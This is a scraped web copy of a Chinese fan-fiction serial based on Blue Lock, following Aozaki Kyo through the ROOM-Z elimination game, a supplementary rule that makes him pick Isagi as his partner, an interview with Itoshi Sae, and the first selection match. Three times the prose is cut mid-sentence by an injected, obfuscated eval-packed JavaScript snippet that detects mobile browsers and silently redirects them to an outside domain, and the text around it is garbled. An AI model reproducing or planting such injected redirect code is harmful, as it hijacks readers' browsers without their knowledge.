这一点对于房间内只接触到同队选手的球员们来说是很难注意到的疑点。然而只要意识到,除去257号,房间内所有人的排名恰好组成了从300到290的连贯数列,那么特立独行的257号便显得很是奇怪了。* “你注意到了啊,没有什么理由,这一点是我的独断,”绘心甚八的眼镜上映出无数球员紧张拼搏的身影,他平静地解释道:“因为这个选手没有当前锋的潜质,选择他进来只是不想放过他的身体素质而已。在我看来他只配得上蓝色监狱的底层。” 帝襟杏里下意识停下笔,她第一次听见绘心甚八对某个球员做出如此严厉的评价。 “但是,我看了这个孩子的报道,记者们对他的赛场表现有很高的认同。” “啊?那只是一群一身铜臭的家伙看上了这小鬼的商业价值吧。” 绘心甚八现实地评价道。 “给他的绰号前面加上「高中」两个字,就是在说水平还够不到职业球员的意思。” 帝襟杏里据理力争:“那么多的记者,至少有一两位是做出了客观的判断吧?” “嗯,你说的不错。”让她意外的是绘心甚八居然赞同了她的判断,“257号只是没有成为前锋的潜质而已,但是让他作为中场的幼苗去栽培,还是能绽放不错的才能。不用觉得这么做残忍,反正从他的表现来看,压根没在乎自己踢的是什么位置不是吗?” 说的对。帝襟杏里在意识到蓝色监狱的257号便是曾经遇见的那个孩子后,抽时间去观看了他过去一年间的所有比赛。在令人头晕目眩的进球狂潮之余,是苍崎镜没有被任何人注意到,或者说没有被任何人「允许不拥有」的,对射门的激情。 就如6年前公园里球门前的停步一般。 “将他招进蓝色监狱,却不打算将他培养成前锋,”帝襟杏里凝神思考着这么做的可能性,“绘心先生,这么做的话需要单独调整对257号的训练计划吗?” “错错。我只是经过初步的判断,认定他没有前锋的资格而已,”绘心甚八目不转睛地看着Z-ROOM内的战争,“但也许我的判断有错也说不定呢。” ROOM-Z内,苍崎镜不闪不避地看着带球向自己冲来的妹妹头男生。 “刚才真混乱。”镜后撤拉开距离,步伐灵敏地躲开一下又一下攻击,“不过终于有人没把我排除在外了,我很开心。不管你有没有命中我,到最后我都会去主动触球的。算是你让我提起兴趣的感谢。” “哇,这是怜悯吗?”妹妹头男生灿烂地笑着,但脚上的动作却更凌厉跟难以捉摸。 “不,”镜说,“是挑衅你,好让我感到更有意思的「战术」。” 时间只剩最后11秒。 “唔,你很强。”镜认真起来,“你叫什么名字?头发像蜜蜂的妹妹头。” “蜂乐回。”妹妹头男生的脸上扩大了笑容,“你也很棒哦,ROOM-Z里的「最强」。” 镜轻轻反驳道:“不要叫我「最强」。”反驳之后,他开口:“我感觉到你的计划了,你想联合洁一起干掉我吧。” 在他将这话说出口的同时,蜂乐脚下的足球被回传到洁的脚下。 站在镜眼前的蜂乐的身体形成了密不透风的遮挡,巧妙的站位与精准的传球路线一同变成了锁住他判断的「锁链」。 “就算反应再怎么快,看不到球会从哪里来也无济于事吧?” 蜂乐笑着让出射门路线,好像在他看来这只是一场有趣的游戏。 时间在这一刻仿佛慢了下来,镜的眼中只剩下是带着恐怖气势将脚抬起的洁。 足球直直朝着他飞来。 好漂亮的一球。完美的直线,提出这球的洁简直闪闪发光。反应不过来,好快。 时间要没了,自己大概会被洁淘汰吧,毕竟洁可是有着那样梦想和表情的前锋啊。镜想着。 但,“就是要这样才有意思啊。” 镜蹬地起步,带起一阵旋风,转瞬间和蜂乐擦身而过,以身堵住了这球。 「鬼」变更:257,苍崎镜。 “苍崎!”这种举动简直就是寻死。国神咬咬牙,在一众拉开距离躲避的人中喊道:“往我这里踢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988063|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用在意不可能发生的事,国神。”镜环视四周,“会和你堂堂正正地较量一场的,不过不是现在。所以——” 他转过头,看向ROOM-Z的排名No.2:吉良凉介。 苍崎镜扭头的动作在吉良凉介——淘汰赛开始前,和洁世一聊天的白发男生眼里像是死神的预告。虽然时间只剩一秒,这一秒的时间压根发生不了什么,但是吉良凉介从球场上积攒起来的意识正对他警告,那个命悬一线的球员——会向他发起进攻! 不,不可能。吉良凉介想。自己的位置前后左右都很好躲避,而且自己这边只有自己一个,一旦没踢中自己连砸中别人的机会都不会有。何况自己的排名是除了他房间里最高的,这种时候选择挑战自己,不会有人敢这么赌,哪怕是这个苍崎也不会例外! 球落在镜的脚下,先前主动出击的选择换来了回报:一次射门的机会。 吉良站在原地没有动,他相信自己基于理性的判断:257号不会对自己进攻。 何况,就算真的攻向自己,自己也能凭反应避开。吉良对自己的能力有着自信。 “——来吧。”他板着面孔严阵以待。 镜看到了吉良的反应,他作为ROOM-Z的No.2做出了最好的判断。 “正面攻防,正合我意。” 在136秒的ROOM-Z淘汰赛里,发生了太多让苍崎镜感到惊喜的事,以至于在最后的1秒里,镜第一次有了「我不能输」的念头。 足球比赛里,时而会有这样的事。 时间接近终场,比分僵持在0:0。 最后一次进攻,前锋单刀面对门将,进球便是胜利,相反,一旦不中便是作为前锋的败北。 对于所有人来讲,这个前锋能不能面对门将带给自己的强大压力并射进这一球,是当时局面下唯一值得考虑的问题。 而这场淘汰赛的情况要更糟。因为充当门将的选手没有保护球门的压力,相当于在之前的情况下把球门变成了有头脑会移动的球门。 在射门中,心理博弈是第一个步骤。 苍崎镜起脚,这是一个缓慢的动作; 吉良没有动。他看出这是个假动作。 没有队友可以依靠。直面防守进行射门是第二个步骤。 正脚背抽射。 球瞬间飞了出去,无影无踪。 看不清轨迹,这家伙是用了多大力来踢啊!吉良下意识向左躲避。但是在他挪动脚步的刹那,不知消失去哪的足球再度在他的身前闪现,带着强烈的下坠接近他的上身。 嘭!沉闷的爆响。吉良倒飞出去,身体磕在墙面上倒了下来。* 镜呼出一口气,用右手背擦了擦额顶不存在的汗珠。整个过程被洁世一看得清清楚楚: 在那一秒里,苍崎先是做出误导人判断的假动作,然后解读对方的博弈习惯,用全部力量向斜角位置抽射,赌对方不敢站在原地,在无法判断球路时会向远离射门的自己与其它人的位置移动。 最重要的是,从结果来看,他成功了。 房间内的屏幕亮起,绘心甚八拍拍手聚集起所有选手的注意力,“各位球星原石,这里结果至上。” 镜感觉到绘心甚八的注意有一瞬间停在了自己射门的右脚上。 “输掉的人就自己滚吧。”他一一念出每个房间里失去资格的人的名字,吉良的名字赫然在上,“以上的人,失去资格。” 9. 补充规则 吉良坐在地上,瞳孔颤抖。虽然他已经意识到了刚刚发生了什么,但意识到和接受事实向来是两码事。 “吉良、对吧。”镜走过去,半蹲身体,伸出手,“需要帮你站起来吗?” 吉良回过神来,他犹豫着,面色复杂地握住镜伸过来的手。 “谢谢,苍崎。”吉良从地上站起来,深呼吸道:“虽然是你淘汰了我,而且我不认同那种规则,但苍崎踢出了我意想不到的一球也是事实。” “这样吗。” 镜想了想,说: “其实,如果吉良能生气地给我一巴掌,说「我绝对不会放过你,我要在蓝色监狱外成为最强的前锋,把这些被扭曲规则束缚的人渣通通踩在脚下」——的话,我会更喜欢你的。” “不,不会的,”吉良只觉得这个高中前锋里最有名气的选手是不是有什么癔症,为什么会有这种观念,“我不会扇你巴掌,也不会说那种话。请不要对我提出这种不合理的要求。” 镜左顾右盼,装模作样地按了按肩膀,敷衍的意味因此欲盖弥彰。 “比起这个,”吉良看向大屏幕,大声地指责:“就算我现在被苍崎淘汰,也改变不了你的规则不合理的事实啊!” “合理,只是你这种「精英凡人」才会有的理念。”绘心甚八解释道,“因为规则超出了你能理解的范围就消极抗拒地面对它,踢出发挥不了全部实力的足球,有这样观念的你被淘汰也是当然。”* 绘心甚八的话语让吉良无言以对,他看向周围,眼中含着不甘。 “你还有什么想说的?”绘心甚八说。 无论如何比赛都已经结束,镜走到国神旁边,若有所思地对国神讲:“感觉到了吗,国神。「监狱长」似乎在刻意引导吉良去质问他?” “真的?这你又是怎么看出来的。”虽然觉得吉良和绘心的话都有一定的道理,但他并没有注意绘心的话到底有什么深意。 “明明告诉过你了,是「直觉」啊。”镜无奈地回答。 一边有一边的气氛。和这边的国神和镜形成强烈对比的,就是另一边吉良和绘心。 “那照你的意思,毛栗和洁难道更有才能吗!”吉良将手拍在自己的胸口,死死揪紧衣领,“刚才的那球只是恰巧踢向我而已,如果苍崎改变主意,难道他们就能躲开吗?” “那么,在球场上输球的时候,你也要这么说吗?「因为恰巧踢向我而已,如果踢向别人,别人也会输球」?”绘心甚八瞪大眼睛,“别做梦了,不能为进球负全责,却想要进球得分的人不可称之为「前锋」。” 就这样,无论是否公平,ROOM-Z淘汰赛里,最后一秒的胜负手,带走的是「日本足球的瑰宝」,吉良凉介的未来。 当天晚上的食堂里,前去打饭的镜迎面撞上了端着餐盘的洁。 “等等,洁。”仗着手里没有东西,镜抬脚拦住他,“晚饭和我一起吧。” 洁世一尴尬到原地躲避,甚至想要钻进地里,“不不,要不还是算了吧,毕竟……” 白天时的那场比赛,最扣人心弦分秒必争的最后时刻,浮现在洁世一的脑海。 “那时候,我向你踢出了球……” 无法否认的是,启动了苍崎镜,让他踢出最后一球的是洁世一给予的巨大压力。 如果不是镜顶住压力,做出了正确的判断,现在被送出蓝色监狱就会是他自己。 “你是这样想的?”镜默默地伸手,以迅雷不及掩耳之势夺过洁的餐盘,“那这样好了,现在的问题不是洁那一球踢的怎么样,而是如果你不跟我来的话,就要饿着肚子准备明天的训练了。这下理由够清晰了吧?” “喂!镜!” 不得已地,洁跟着镜坐回到了餐厅角落的位置。 “洁等我一下,我去打饭。”镜走出去两步,回头警告道:“不可以走,我会生气。” “来都来了,走也走不到哪去吧……”洁吐槽道,撕开纳豆的包装用筷子搅拌起来。 镜的身影穿过一张张餐桌,洁的视线紧随着。当镜出现的时候,他真的吓了一跳,以为要发生一些不好的事情,结果却是邀请他一起吃晚饭而已。 而且警告的方式也很幼稚。洁把筷子放在碗上等待着,忍不住露出微笑。 不过,没有因为这种事情被镜讨厌真是太好了。 “我回来了。”镜把餐盘往桌上一放。 “这、这是什么?”洁颤抖着问,在球场上都没有过的震惊却在看到镜的晚饭时骤然出现。 “晚饭啊?”镜不解道,双手合十,拿起筷子,“我开动了,洁也快吃吧。”说着,他夹起一片涮得油光金黄的牛肉,吹一吹放进嘴里,露出幸福的表情,疏离的气质被美食暖化,变成了飘着花香的春天般的和善。 洁:“……” 镜瞥了一眼洁,看到他坐着不动,表情变回平日里的样子,用筷子指指洁的米饭。 “怎么不吃?为了明天的训练,晚饭必须要吃饱才行。” 在洁世一眼里,苍崎镜的牛肉就像是神话故事里神国宴会上的食物一样,而自己的纳豆是可怜的丢给动物吃的野草。相比之下真的很难不产生落差。 但镜说得对,哪怕是为了完成明天的训练留在蓝色监狱里,这顿晚饭也要吃下去才行。洁用赴死的毅力夹一筷子纳豆,黏糊糊地粘在筷子上。话说回来,难道这就是镜邀请自己共进晚餐的目的吗?通过精致的食物刺激自己,报复自己把球踢给了他! 手段恰到好处,让人挑不出问题,又让自己感到无比痛苦!还真不愧是你啊,镜! 镜:“……?” 看着洁世一一大口一大口地把纳豆塞进嘴里的样子,镜放下筷子,陷入了困惑。 “我没说清楚吗?不是那个,是这个。”镜把盘子里一半的涮牛肉夹出去,放在一个空盘子里,给洁推过去,“给。快吃吧,给我的时候就是涮好的,再不吃就凉了。” 这一刻,望着苍崎镜分享美食的身姿,「天使」这个词在洁世一的眼里有了定义。 饭后,走在回寝室的路上。有了这一遭洁和镜原本尴尬(单向)关系变好了不少。 “谢谢你,镜,排名高就是好啊,连伙食都有这么大的区别。”洁感慨道。 镜跟他并排走着,说道;“我一个人吃饭很无聊,有你陪我一起会更有意思一点。” 随后是几秒钟的缄默。 “洁——”“镜……” 两人同时开口。 “我先说吧。”镜走出两步,绕到洁的面前,“我想说的是,白天时结束的那场比赛,我想了很久,有一些话想对你说。” 还是来了吗?洁点点头,“啊,尽管说吧,镜。” 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他问道:“我也没做什么……比起那个,你还好吗?被那家伙这样评价。” “我还好。” 镜说的是真心话,他不会在意别人给自己什么评价,只会在意那些评价后对应着怎样的事实。 他前进一步,说道: “于是,他们给了我「补充规则」。告诉我,如果不能在赢下比赛的同时达成补充规则里的条件,哪怕到了最后我的排名是No.1也还是会被他们淘汰。” 洁一时间说不出话来。反应过来后,他问:“那么,规则是什么?” “「每场比赛,必须选择同队的一个人作为搭档。比赛里,不止你必须进球,你选择的搭档也至少要进一球。否则哪怕那场比赛胜利,你也会因为没做到这一点而被淘汰」。”镜闭着眼睛回忆道,“至少「监狱长」是这么说的。” 洁世一反问: “你想选择我当第一场比赛的搭档吗?” “不会吧,洁要拒绝我吗?”镜也反问,“我可是很强的。利用我,也许Z队可以就此拿下全胜也说不定。” 洁世一思考着。这件事不仅和镜能否留在蓝色监狱息息相关,还意味着自己能得到多少得分机会。如果能把握住的话,今后的每场比赛自己都能在镜有过得分后得到他全力的助攻。这样的话,必然能得到更多机会球的自己也许就能借此弄明白那种感觉。 “我答应了。”洁说,“但还是再问一句,为什么选择我?”明明「洁世一」是Z队里的倒数第二,而且同队还有排名更高、和镜交流更多的国神。 镜转过身,走了两步,留给洁一个背影。洁追上去,和他并肩,默契地往Z队的寝室走。 “你想听吗?洁。”镜问,“我为什么选择你。” “我想知道我的哪里吸引了你。”洁说。 “因为,我不喜欢充满服从性的关系,这是我个人的性格。比起接受「规则」,我更想利用它们,让它们帮我实现我的目的。” 镜说道,话语中悄然透露出骨子里的强势,当「兴趣」被规则激发,镜的另一面也逐渐表露出来。 “我想看到,在我之外,有人能踢出「不一样」的球;如果说在Z组里谁最有可能做到这件事,我觉得是你。” “「いさぎ,よいち」。” 10. 日常 进入寝室,镜在跟洁示意后便缩进被子早早入睡,从小养成的早睡习惯让他强硬地无视了身边人的打打闹闹。第二天的训练兼体能测试在一早开始,包含三种项目,分别用来衡量球员的肌肉、跑动、跳跃水平。 就知道你们会起不来。看着一晚上过去已然变得尸横遍野的ROOM-Z寝室,镜踮着脚尖避开隔壁地铺雷市的“遗体”,拍了拍脸独自一人走向一墙之隔的集体盥洗室。 冷水拍在皮肤上,镜想起了那些在橙子的工房里做工的日子。一般来说,整理完仪容就要去准备做早饭,根据当天的日期准备好点心、主食和饮料,如果是冬天就要想办法买到热可可或咖啡,晚餐会根据心情决定要不要增加一杯红酒。 镜分明知晓:尽管橙子口头上宣称把自己当做「奴仆」,但她的行为却一直在关心他的安全。正是如此,自己才能身负秘密地从幼小的年纪成长到如今的样子。 双手撑在洗漱池上,镜看着镜子里湿漉漉的自己,嘴角流露出一丝自得的笑。 等镜从餐厅用完早餐,再回到寝室,其余的人终于陆陆续续醒来了。 “终于起来了,洁。”为了不吵到其它人,镜压低声音,蹲在洁的被窝前说。 洁世一的眉心皱在一起,他顶着鸡窝头睁开一只眼睛。 “……镜。”确认身份后,洁坐起身体,朦胧的睡眼显然还在睡梦中,“早安……是要喊我吃早饭吗……” “早饭?我已经吃完了,还差你自己。”镜戳了戳洁被子里的胳膊,“我是来催你的,再不起来会错过热身时间,洁也不想第一次训练就受伤吧?” 说着说着,镜注意到洁的头顶。 话说洁的小草呆毛居然是睡觉就会消失的啊,因为太过合理反而变得不合理了。* 洗漱和早餐(因为洁起的更晚所以只能吃自己的纳豆了)后,两人聚集在训练室。 跑步机速度调到低档,镜边跑边聊天:“既然决定结成「搭档」,我不妨问一下,洁在足球方面具有的「优势」是什么?” 洁在跑步机后侧的软垫上坐下,附身将大腿后侧的肌肉一点点拉伸开;听到这个问题后,他身体一僵,停下动作。 “我不清楚。”他低声道,“我原以为的长处在「蓝色监狱」的选手前全都不值一提。” 镜没有评价这件事,他只提议道:“唔。既然如此,比赛的事就暂且以我为「核心」吧。虽然我也想看洁踢进更多的球,但还是要考虑一下客观的战力水平的。” “好。”洁换了个姿势,用力地拉伸小腿肌肉,“为了能进球,也为了能让镜留在「蓝色监狱」,我会努力的。” 不。比起努力,我更想让你知道,我选择你是希望看到你用那种射门技巧进球。镜沉默着,不知该怎样向洁表达这种想法。眼看着热身项目一个个结束,而体能测试快要开始,镜的心中一阵懊恼。 当Z队的体能测试结束时,已经是午饭的点钟。 一同走出训练室,又前后一同打饭,然后,镜被同队的成早缠上。 “不会给你的,”镜高举手中一人份的寿喜锅,举过头顶,不顾成早可怜的表情和苦苦哀求,“这个明显是演的吧,绝不给你。” 说着,他举着寿喜锅,绕路到远离虎视眈眈的Z队人聚集的角落一个人吃完了午饭。 下午的时光,好想收拾房间然后出门跟朋友玩。 当意识到自己这么想的时候,镜不由得感到一阵好笑,兼带有一丝怀念。 自己也没想象中那么不在意以前的生活嘛,从小时候就有的不够坦率的问题,居然到现在都还是没能解决吗? 真想出门走走,晒晒太阳,顺便去街边的店铺采购点零食。他走向衣柜。也不知道提高排名有没有零食当做奖励。但看这里的规则,只要能进球就连帝王蟹都会给你买来煮好送进锅。那零食应该不算什么。 决定了,就以改善生活当做进球的额外动力吧。 趁着寝室没人,镜翻出从外面偷偷带进来的零食,带着快乐的心情拆开包装,正准备吃第一口。 “喂,苍崎镜。你准备干什么违反「蓝色监狱」规则的事,啊?”绘心甚八的脸忽然出现在房间的屏幕上,“出门右拐,把你的薯片丢进厕所的垃圾桶,否则就等着被淘汰吧。” 啊,零食果然被无处不在的监狱长大人发现了。镜叹了口气,乖乖照做。 睡前,测试成绩公布。 “「232」。”镜无法拒绝,只好在整个Z队的注视下展示自己的排名,“提高了25位。好了,看到了就能让我去睡觉了吧。” “25位?我也是一样。”五十岚栗梦笑嘻嘻地展示,“我们真有缘,南无三——” “我的排名大概是恰巧,而你们的话,”镜想了想,直言道:“300人一组12个分成25个组,你们的排名上升数一致,只是因为每组都被淘汰了一个人而已。” 镜左看看右看看。看了一圈,没看到洁,也没看到蜂乐回——那个在ROOM-Z淘汰赛里,联合洁想要把自己干掉的人。 “话说起来,洁呢?”镜从房间里的一圈人中选到最熟悉的国神,拽着他的袖子问。 “洁吗?”国神关注着自己的排名,分神想了想镜的问题,“不在这里只能是出去了吧。放心,睡觉前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无视苍崎镜的举动,绘心甚八将一张赛程表显示在屏幕中。 “好了,别废话了。”他说道,“从明天起,针对「蓝色监狱」的所有队伍开始第一轮选拔赛,对手是同个建筑内的其余4组。经过四轮比赛每个建筑留下两支优胜队伍,其余队伍淘汰;每队的进球王由于额外规则可以保留资格,留在「蓝色监狱」。还有什么没听懂的吗?” ROOM-Z内一片安静,有人听懂,有人不想答复,有人只是天生话少。 镜带着满心关于比赛的念头看向洁,恰巧迎上对方回望的一眼。 “没有的话,就继续拼了命地去踢球,努力「活下来」吧。”绘心甚八关掉屏幕,拿起泡面,汁水伴着嗦面的动作飞溅,“唔唔。这泡面是不是有点软了?” 11. 0与1 首轮比赛开始当天,10:40/A.M。 备受瞩目的「蓝色监狱」计划在今日召开了记者招待会。帝襟杏里整理着西装,作为组织者与负责人以一派职场精英的气势走向会场中央的长桌,和日本足球协会特别顾问不乱茑宏俊并肩而坐。 面前一米就是招待会的记者席。「世界杯」、「培养世界第一前锋的计划」、「封闭的训练环境」、「300:1的通过率」……关于「蓝色监狱」有太多的话题性。 帝襟杏里眼里,拿着纸笔的记者就像一群为了新闻不择手段的恶狼。即便如此,应对记者们的刁难也是必要的,这位足协新人在心里给自己加油鼓劲;为了让计划运行下去,就要召开记者招待会得到媒体知名度与关注度。为了你的梦想,帝襟杏里,你可以的! 不乱茑宏俊咳了咳,站起身,声音经过麦克风的传递在会场内部响起: “那么大家,记者招待会正式开始。有什么问题就请尽管提问吧。” 招待会选在了日本足球协会总部大楼。会场门敞开着,展现着主办方开放的态度。 总部大楼人来人往。今天同一时间,还有另一场采访正在进行。 三七分橙色头发的助理先生今天戴了一副红框眼镜。随身携带的文件里记录了今日的日程安排: 早晨,检查预购的机票,再额外花5分钟确定班次以及公寓到机场的路况; 上午,联系公寓退租,在日本足球协会总部大楼接受《足球直通》编辑部记者二瓶集座的采访; 中午,订购午餐(在午餐旁边用一道红圈将「薯条小份」四个字标注了起来),按预定路线前往机场,搭乘1:58/P.M的航班,当天晚上返回西班牙; 晚间,收拾行李,和西班牙方面的球队进行对接,订购晚餐,整理房间,睡觉; 作为天才中场糸师冴的助理,他的一天就是这样充实饱满而又平平无奇。 会客室有一面巨大的落地窗,透过折扇窗户可以从高空俯瞰城市的街道。明亮的日光带着暖意照射进来,泼洒在房间的菱形花纹的地毯上。 在如此舒适的环境里,助理先生摘下眼镜,揉了揉疲乏酸痛的眼眶。 “糸师冴,你作为天才中场,隶属于世界顶级豪门雷·阿尔的青训队,根据规定,你无法在一队上场,于是就回日本了。这是否意味着我们有机会看见你在国内联赛踢球呢?” “我死也不干。与其在这种国家踢球,还不如跟德国的大学生踢呢。”* 助理先生揉眼眶的手一抖,明明仍旧是舒适的环境,他却一下子变得如坐针毡。 《足球直通》的记者虽然对冴直率毒舌的性格早有耳闻,尽管早已阅尽千帆,但今日一见,还是让他不由为之一愣。 他换了个话题:“那个……请问你对今后代表日本国家队出战有何期待和抱负呢?” “我一点兴趣都没有。”冴说。别说是联赛,就算是代表国内最高水平的国家队,在见识过更强队伍里更强者的天才中场「新世代十一杰」糸师冴眼里,也是让他提不起兴趣的存在。 糸师冴起身,用惯常的犀利话语直白地否定着这个国家足球的现状。没有有效的竞争环境、没有有水平的前锋,这对一个中场球员来说,简直说无可形容的「地狱」。 “在这种足球弱国的国家队踢比赛绝对没法成为世界第一。而且我的梦想是夺得欧冠冠军,这个国家的前锋没有一个能接到我的传球,我只是生错国家了。” 冴甩开呆愣的记者和助理,推门离开会客室。几秒钟后,助理先生追了出来,唯唯诺诺地提醒道:“别这样啊さえちゃん,这样会被媒体讨厌的。” “在这种国家的人气算不了什么。”冴插着兜,快步走向出口。 整体黑暗肃静的通道前方,有一扇门里亮着灯光,还有疑似演讲者的人宣布什么事情的声音,虽刻板做作却又慷慨激昂。 “啊,那个应该是足协今天要召开的记者招待会。”助理先生加快速度赶上冴的脚步,解释道。 他朝会场看去。 不乱茑宏俊解说道:“综上所述,培养能带领日本夺得世界杯冠军的前锋,就是这项「蓝色监狱」计划的目标。” 会场内,帝襟杏里估算着时间。花了一些功夫向记者们解释日本足球的现状与不做任何改变的潜在灰暗未来后,终于将「蓝色监狱」的意义告知给了所有人。这样等报道刊登出去以后,就会有更多人认识到这一点然后对「蓝色监狱」计划和日本足球的未来具有信心了吧? 一位记者反驳道:“只培养出一个世界级前锋就能保证日本队夺得世界杯冠军吗?” 另一位记者起身质疑:“意思是为了培养一个人不惜牺牲另外299人的人生吗?就没有父母反对吗?” 没错。就是这样疯狂的计划,才能在死水般的现状里激发出波涛汹涌的未来。听着不乱茑宏俊试图息事宁人的回答,帝襟杏里站起来:“没错,这就是「蓝色监狱」计划的一部分,只有经历这样疯狂的淬炼,才能改变日本足球的未来!” 房间外,助理先生正努力管住自己四处乱瞥的眼睛。这种计划对于他这个传统保守的人来说还是太刺激了。不过,他拿出手机进入社交媒体;这个计划的名字怎么有点耳熟? 和助理不同,糸师冴的眼神落在帝襟杏里身后的屏幕上。BLUELOCK的大字像一团蓝火,马上就要从背景里喷发出来。 “啊,找到了。「蓝色监狱」。”熟悉的名字让助理先生精神一振,津津乐道地与冴分享:“是一个从300人里选1的培养超级前锋的计划。据说「苍崎」在宣布退出日本足球届后加入了这个计划呢。” “「苍崎」?谁?”冴的目光没有偏离一点。他对日本高中的足球毫无兴趣,更从未关注过任何球员。他会这么问,只是对自家认真无趣的助理突然提起一个陌生姓氏感觉好奇而已。 “几天前来总部交接工作时遇到的孩子,非常漂亮又有礼貌。”助理先生无心地感慨,“当天总部聚集了不少足球选手,我好奇会发生什么事,就在那天结束工作后搜集了一些有关的资料。” “而且这个孩子和さえちゃん很像呢。” “和我像?”那还能「礼貌」吗?冴合理地对助理的评价表示怀疑。 助理讪笑着挠挠头,“我是指「无论如何都不要在日本踢球」这点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988066|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可见,助理先生对冴刚才给记者的回应多少有些耿耿于怀。 他试探性地把一段从社交媒体上拷贝下来的音频拿给糸师冴看。 「嗯,我会放弃足球。」 「整个宫城县乃至整个日本高中的足球都非常无趣,根本没有能踢出那种球的选手存在。」 「所以,我想不明白我为什么要继续在「足球」这件无意义的事上浪费时间。」 “这个是剪辑版,”助理先生翻看着音频发布的帖子,叹息道:“好像是另一个已经被淘汰的孩子在选召那天发布的内容。” 冴瞥了一眼,收回视线。 助理先生说:“论水平肯定比不上さえちゃん你,但从比分来看,他所在的球队一直在比分上很有「压迫力」。” “只是对手太弱了而已。因为这个选手自己也知道这点,所以才会说出那番话。”冴顿了顿,“只不过,现在不可同日而语。” 如果「蓝色监狱」计划的执行真的有他们口头宣传时的觉悟,那么在那种环境里能保持住进攻性和统治力的前锋,或许真的就能改变一成不变的日本足球。 蓝色监狱内。 第一轮选拔赛,Z队对战X队。 比分,0:1。 球场内,镜压抑着输球的火气,将手指的骨节捏得咔咔响。 被队友毫不客气地断球、再被抢,眼看着一群人抢球不过一个人、被技术碾压,过人得分。霎时间,向来是球场上统治进球得分这一领域的苍崎镜感觉到,如骑士般忠于自己的球场,在这一刻完全变成了那一个人的王国。 X队10号选手,马狼照英。 “洁,这是我第一次觉得踢足球是一件很烦的事。”镜带着将要失去什么的预感,平静地宣布,“再这样下去,我会输的吧,你也会输。所以告诉我,洁觉得我该怎么做?” 既然他的目的是在保有自己进攻权利的同时让「搭档」也进球得分,那么他就不能像现在球场上的其它人一样全然野蛮利己地行动。苍崎镜知道,对于他自己来说,他需要的是在一片混乱的球场里「快速」且「冷静」地找出建立秩序的方式。 在这一刻,洁和镜在过去几天里构建出的信赖关系起了作用。 洁果断命令:“拜托镜给我传球,蜂乐会配合我,就靠我们三个过掉对面的防守。” 镜点点头,“嗯,我配合你。不过,要是被其它人断掉怎么办?” 眼下的球场上,不止对手会来抢断,就连名义上的队友也在虎视眈眈地盯着同伴脚下的球。 是啊,这个问题不可以忽视。 洁世一深呼吸,思考起镜提出的问题。 蜂乐有出众的盘带,镜的综合素质可以全面碾压球场的任何人……如果这是一般的比赛,他们这两人不会为「被抢断」这件事太过忧心。但这是「蓝色监狱」的比赛。 带着心中的无力感,洁世一说道: “如果被断,就只能拼尽全力想办法抢回来了。” “唔。”镜想了想,考虑到这种特殊的情况赋予了不成熟的策略以合理性,点点头,“好吧,按你说的做。” 重整旗鼓。接下来是Z队开球。 12. 另一种答案 球场上,选手一一复原站位,镜回到边线,脑海里涌现着对当前局面的判断: 从刚才的情况来看,对手队伍里最危险的角色就是那个进球的250位前锋马狼,强壮的体格和出色的脚下功夫对球门威胁极大。 重要的是防住他的进攻,继而想办法突破对面的防线,想必洁也是这么想的。 可是总感觉忽略了什么。 镜一下一下地揉捏起手腕的关节,转过头,无意识寻找起洁世一的身影。 开球点,洁开球向右传给蜂乐。镜在阵型右边待命,紧贴边线,向前移动,准备组织这轮进攻。 只要自己引走对面的一人,再由蜂乐过掉一人,球传给洁的时候,需要他面对的就会是稀松的防守。到那时,就是靠洁自己展现能力的时候了。 于是,镜朝对面半场快速冲刺,果不其然,对面调出一个中场球员跑位盯防他,在更前方的位置,对手的边后卫也将注意力留在了他身上——那么另一边的机会来了。 行动间,他余光瞥向对面呈一条线排开的中场球员,他们没有表露出一点紧张。 怎么会? 难道是—— 镜顿住,反应过来后,猛地压住脚步强行调头反跑,盯防他的中场球员咬咬牙跟上来,从侧方不断压迫他的跑位路线。 前方,本该传给蜂乐的球被从后方赶上来的五十岚栗梦抢掉。 “喂,毛栗!”洁呵斥道,“别离开位置啊!” 现在的情况用正常的思路来看,就是后卫离开自己的位置跑去前场抢走了己队前锋的球。 苍崎镜终于想到自己忽略了什么。失分后,场上的人对于战术配合的信任下降,看到250号进球后,做法也会变得比之前偏激。 可恶,自己应该考虑到这一点的! 幸好还来得及补救,球权说到底还在自己队伍这边。现在从边线全速冲过去的话还能赶到适合接球的位置。等接到球以后,按先前的计划回传组织进攻,还是能有扳平比分的机会。 边赶赴中场边考虑着怎样把现在的条件利用起来,这时,镜忽然听到: “你傻啊洁,进球的人才能留下来啊。”五十岚栗梦大声说,落后的比分激发了他的恐惧,他没办法冷静思考,“我绝不会再传球了,阿弥陀佛!” 不传球? 镜的脑袋放空了一下,脚步放慢。按理来说应该是不利的情况,但恰恰是不传球这三个字,在一片黑暗的可能里让他看到了一道点亮的火光。 他的内心平静下来。对啊,就是「不传球」。 “我懂了,蓝色监狱第一轮选拔该怎么踢,这是纯粹比拼个人进球能力的战斗!”另一边,五十岚栗梦说着,独自一人冲向对方的防线。 